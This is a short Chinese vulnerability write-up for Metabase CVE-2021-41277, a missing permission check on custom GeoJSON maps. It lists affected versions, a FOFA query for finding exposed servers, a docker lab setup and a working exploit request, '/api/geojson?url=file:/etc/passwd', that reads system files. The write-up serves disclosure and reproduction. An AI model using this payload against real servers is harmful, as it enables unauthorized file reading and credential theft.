Metabase 敏感信息泄露漏洞(CVE-2021-41277)

Metabase 敏感信息泄露漏洞（CVE-2021-41277）

一、漏洞描述

metabase 是一个简单、开源的数据分析平台。

在受影响的版本中，自定义 GeoJSON 地图（admin->settings->maps->custom maps->add a map）操作缺少权限验证，攻击者可通过该漏洞获得敏感信息。该漏洞CVSS评分：9.9，危害等级：严重

CVE 编号

CVE-2021-41277

FOFA 查询app=”metabase”

二、影响范围

影响版本：

metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5

修复版本：

metabase version >= 0.40.5
metabase version >= 1.40.5

三、漏洞复现

3.1 环境搭建

docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.40.4

3.2 EXP

Target IP:/api/geojson?url=file:/etc/passwd